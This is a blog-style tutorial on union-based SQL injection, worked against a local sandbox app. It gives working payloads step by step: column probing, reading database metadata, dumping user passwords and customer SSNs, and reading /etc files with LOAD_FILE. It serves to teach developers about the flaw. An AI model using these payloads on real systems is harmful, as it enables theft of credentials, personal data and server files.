Union sql injection

Year after year we find code injection in the OWASP 10. Despite this kind of vulnerability was discovered and reported more than twenty years ago, it seems not that easy to get rid of. SQL injections are one of these.

In-band SQL Injection is the most common and easy-to-exploit of SQL Injection attacks. It works in such a way that changing the way the parameters are provided we can access directly to different data than it was intended.

I think the best way to understand it is to get our hands dirty.
You can find a sandbox to play with here:

The examples I'll provide are based on this repo.

Once you have the project cloned and running: http://localhost:5000/union-sqli

Before going forward, I highly recommend you playing around for a while in order to explore the terrain and see if you are able to get some additional information from it on your own.

The mechanism regarding how the search works are pretty straight forward. It intends to show a list of fiction app names. e.g. if you type "Namfix" and press enter, you should be able to see a list of versions from this app.
When you type just partially, e.g. "fix" the same results from before plus a bunch of other app names fulfilling the criteria will appear.

The thing starts to get interesting when we type a single quote '
This Internal Server Error is a hint about the nature of the query lying behind, allowing us to explore some stuff. Let's try something:

' AND 0 UNION SELECT 1; -- x  same result
' AND 0 UNION SELECT 1, 2; -- x  same result
' AND 0 UNION SELECT 1, 2, 3; -- x  same result
' AND 0 UNION SELECT 1, 2, 3, 4; -- x oh, wait

What's going on here?
Well, making it short, the point is that whatever is the query before the quote actually doesn't matter because of this AND 0. Following that, we just keep adding values until matches to the original query. That's all.

Once we have this we can literally execute any query and print the results on the screen.

Let's try something different:
We can access to different data from a simple query, for example, the user, database name or version of mysql in this case.

' AND 0 UNION SELECT 0, user(), database(), @@version; -- x

This example assumes the worst case possible (the best for the hacker) which is they are using root user. We can easily retrieve the names of the tables, like this:

' AND 0 UNION SELECT 0, table_name, '', '' FROM information_schema.tables
WHERE table_schema = "dummy_db"; -- x

Then we get the column names with this query:

' AND 0 UNION SELECT 0, column_name, data_type, '' FROM information_schema.columns
WHERE table_schema = "dummy_db" AND table_name = "users"; -- x

Once we know the table name and the fields, we can write the query to retrieve it:

' AND 0 UNION SELECT 0, username, email, password FROM users; -- x


Some other stuff

information_schema.USER_PRIVILEGES; -- x


' AND 0 UNION SELECT 0, 0, 0, CONCAT_WS(" | ", id, name,
company, department, job, ssn, phone, address, city, country) FROM customers; -- x


Adding a tiny tweak to the config file regarding the folder where mysql is able to read we could go much much further:

' AND 0 UNION SELECT 0, @@GLOBAL.secure_file_priv, @@max_allowed_packet, ''; -- x

In this case this @@GLOBAL.secure_file_priv value shows us where we can access. Root path is never a good idea

Check this out:

' AND 0 UNION SELECT 0, LOAD_FILE('/etc/security/access.conf'), '', ''; -- x


As you can see, is fun and very scary at the same time. I really hope you remember these cases next time you write sql ;-)
Take care

Security SQLi

Apr 7 2020